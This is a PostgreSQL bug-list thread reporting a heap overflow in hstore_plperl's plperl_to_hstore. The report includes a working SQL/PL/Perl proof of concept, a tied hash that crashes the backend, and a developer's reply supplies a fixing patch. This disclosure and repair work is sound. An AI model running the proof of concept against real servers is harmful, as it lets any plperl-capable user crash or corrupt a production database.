agora inbox for pgsql-bugs@postgresql.org  
help / color / mirror / Atom feed
BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
2+ messages / 2 participants
[nested] [flat]

* BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
@ 2026-08-03 08:22  PG Bug reporting form <noreply@postgresql.org>
  0 siblings, 1 reply; 2+ messages in thread

From: PG Bug reporting form @ 2026-08-03 08:22 UTC (permalink / raw)
  To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com

The following bug has been logged on the website:

Bug reference:      19604
Logged by:          Yuelin Wang
Email address:      1217816127@qq.com
PostgreSQL version: 19beta2
Operating system:   Linux (Ubuntu 24.04, x86_64)
Description:        

### Summary

In `contrib/hstore_plperl/hstore_plperl.c`, `plperl_to_hstore()` sizes its
`Pairs` array from `hv_iterinit()`. For tied Perl hashes, that count can be
small while `hv_iternext()` yields many keys. Trusted `plperl` code can
return such a hash and write far past the allocated array during hstore
conversion.

### PoC

SQL script:

```sql
CREATE EXTENSION IF NOT EXISTS hstore;
CREATE EXTENSION IF NOT EXISTS plperl;
CREATE EXTENSION IF NOT EXISTS hstore_plperl;

CREATE OR REPLACE FUNCTION vuln_hstore_boom() RETURNS hstore
LANGUAGE plperl
TRANSFORM FOR TYPE hstore
AS $$
  package VulnEvil;
  sub TIEHASH { bless { n=>0, max=>100000 }, shift }
  sub FIRSTKEY { $_[0]{n}=0; "k0" }
  sub NEXTKEY  { my $s=shift; $s->{n}++; $s->{n}>=$s->{max} ? undef :
"k".$s->{n} }
  sub FETCH { "v" }
  sub EXISTS { 1 }
  package main;
  tie my %h, 'VulnEvil';
  return \%h;
$$;

SELECT vuln_hstore_boom();
```

### Result

The backend crashes during hstore conversion:

```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```








^ permalink  raw  reply  [nested|flat] 2+ messages in thread

* Re: BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
@ 2026-08-03 12:55  Aleksander Alekseev <aleksander@tigerdata.com>
  parent: PG Bug reporting form <noreply@postgresql.org>
  0 siblings, 0 replies; 2+ messages in thread

From: Aleksander Alekseev @ 2026-08-03 12:55 UTC (permalink / raw)
  To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com

Hi,

Thanks for the report.

> ### Result
>
> The backend crashes during hstore conversion:
>
> ```text
> AddressSanitizer: SEGV
> plperl_to_hstore
> plperl_sv_to_datum
> plperl_func_handler
> server closed the connection unexpectedly
> ```

Yes, that's quite serious. I propose the attached patch.

-- 
Best regards,
Aleksander Alekseev

Attachments:

  [text/x-patch] v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patch (3.6K, ../../CAJ7c6TMnbYibWGek0EFWEAZEG91VLOAy5dB0SePHrhqgJ8-y+A@mail.gmail.com/2-v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patch)
  download | inline diff:
From 97d0d494468e8082370c33cd1fddfc9058e8f88d Mon Sep 17 00:00:00 2001
From: Aleksander Alekseev <aleksander@tigerdata.com>
Date: Mon, 3 Aug 2026 15:30:38 +0300
Subject: [PATCH v1] hstore_plperl: Fix crash when transforming a tied Perl
 hash to hstore

plperl_to_hstore() sized its Pairs array from hv_iterinit(), whose
result is only meaningful for hashes without tie magic, and then read
the values with HeVAL(), which hv_iternext() leaves unset for a tied
hash.  Trusted plperl code can return such a hash, so any user allowed
to create a plperl function could write past the end of the array and
dereference a garbage value pointer, crashing the backend.

Bug: #19604
Reported-by: Yuelin Wang <1217816127@qq.com>
Author: Aleksander Alekseev <aleksander@tigerdata.com>
Discussion: https://postgr.es/m/19604-2471ca9f781fa9e0@postgresql.org
---
 contrib/hstore_plperl/hstore_plperl.c | 66 +++++++++++++++++++--------
 1 file changed, 48 insertions(+), 18 deletions(-)

diff --git a/contrib/hstore_plperl/hstore_plperl.c b/contrib/hstore_plperl/hstore_plperl.c
index 336ead65a18..7cb6d77c1f6 100644
--- a/contrib/hstore_plperl/hstore_plperl.c
+++ b/contrib/hstore_plperl/hstore_plperl.c
@@ -105,8 +105,8 @@ plperl_to_hstore(PG_FUNCTION_ARGS)
 	HV		   *hv;
 	HE		   *he;
 	int32		buflen;
-	int32		i;
 	int32		pcount;
+	int32		palloced;
 	HStore	   *out;
 	Pairs	   *pairs;
 
@@ -129,34 +129,64 @@ plperl_to_hstore(PG_FUNCTION_ARGS)
 				 errmsg("cannot transform non-hash Perl value to hstore")));
 	hv = (HV *) in;
 
-	pcount = hv_iterinit(hv);
-
-	pairs = palloc_array(Pairs, pcount);
-
-	i = 0;
+	/*
+	 * The result of hv_iterinit() is only reliable for hashes without tie
+	 * magic; a tied hash can yield any number of keys, quite independently of
+	 * what this reports.  So treat it as no more than an initial size
+	 * estimate and enlarge the array as needed.
+	 */
+	palloced = hv_iterinit(hv);
+	if (palloced < 1)
+		palloced = 1;
+	pairs = palloc_array(Pairs, palloced);
+
+	pcount = 0;
 	while ((he = hv_iternext(hv)))
 	{
-		char	   *key = sv2cstr(HeSVKEY_force(he));
-		SV		   *value = HeVAL(he);
+		char	   *key;
+		SV		   *value;
+
+		/*
+		 * A tied hash's iterator need never report end-of-hash, so allow a
+		 * way to break out of this loop.
+		 */
+		CHECK_FOR_INTERRUPTS();
+
+		if (pcount >= palloced)
+		{
+			palloced *= 2;
+			pairs = repalloc_array(pairs, Pairs, palloced);
+		}
+
+		key = sv2cstr(HeSVKEY_force(he));
+
+		/*
+		 * hv_iternext() does not fill in the value for a tied hash, so we
+		 * must use hv_iterval() to get at it.  That may hand back an SV
+		 * carrying get magic (that is, the tie's FETCH method hasn't run
+		 * yet), so force the value to be materialized before inspecting it.
+		 */
+		value = hv_iterval(hv, he);
+		SvGETMAGIC(value);
 
-		pairs[i].key = pstrdup(key);
-		pairs[i].keylen = hstoreCheckKeyLen(strlen(pairs[i].key));
-		pairs[i].needfree = true;
+		pairs[pcount].key = pstrdup(key);
+		pairs[pcount].keylen = hstoreCheckKeyLen(strlen(pairs[pcount].key));
+		pairs[pcount].needfree = true;
 
 		if (!SvOK(value))
 		{
-			pairs[i].val = NULL;
-			pairs[i].vallen = 0;
-			pairs[i].isnull = true;
+			pairs[pcount].val = NULL;
+			pairs[pcount].vallen = 0;
+			pairs[pcount].isnull = true;
 		}
 		else
 		{
-			pairs[i].val = pstrdup(sv2cstr(value));
-			pairs[i].vallen = hstoreCheckValLen(strlen(pairs[i].val));
-			pairs[i].isnull = false;
+			pairs[pcount].val = pstrdup(sv2cstr(value));
+			pairs[pcount].vallen = hstoreCheckValLen(strlen(pairs[pcount].val));
+			pairs[pcount].isnull = false;
 		}
 
-		i++;
+		pcount++;
 	}
 
 	pcount = hstoreUniquePairs(pairs, pcount, &buflen);
-- 
2.43.0



^ permalink  raw  reply  [nested|flat] 2+ messages in thread


end of thread, other threads:[~2026-08-03 12:55 UTC | newest]

Thread overview: 2+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-08-03 08:22 BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash PG Bug reporting form <noreply@postgresql.org>
2026-08-03 12:55 ` Aleksander Alekseev <aleksander@tigerdata.com>

This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox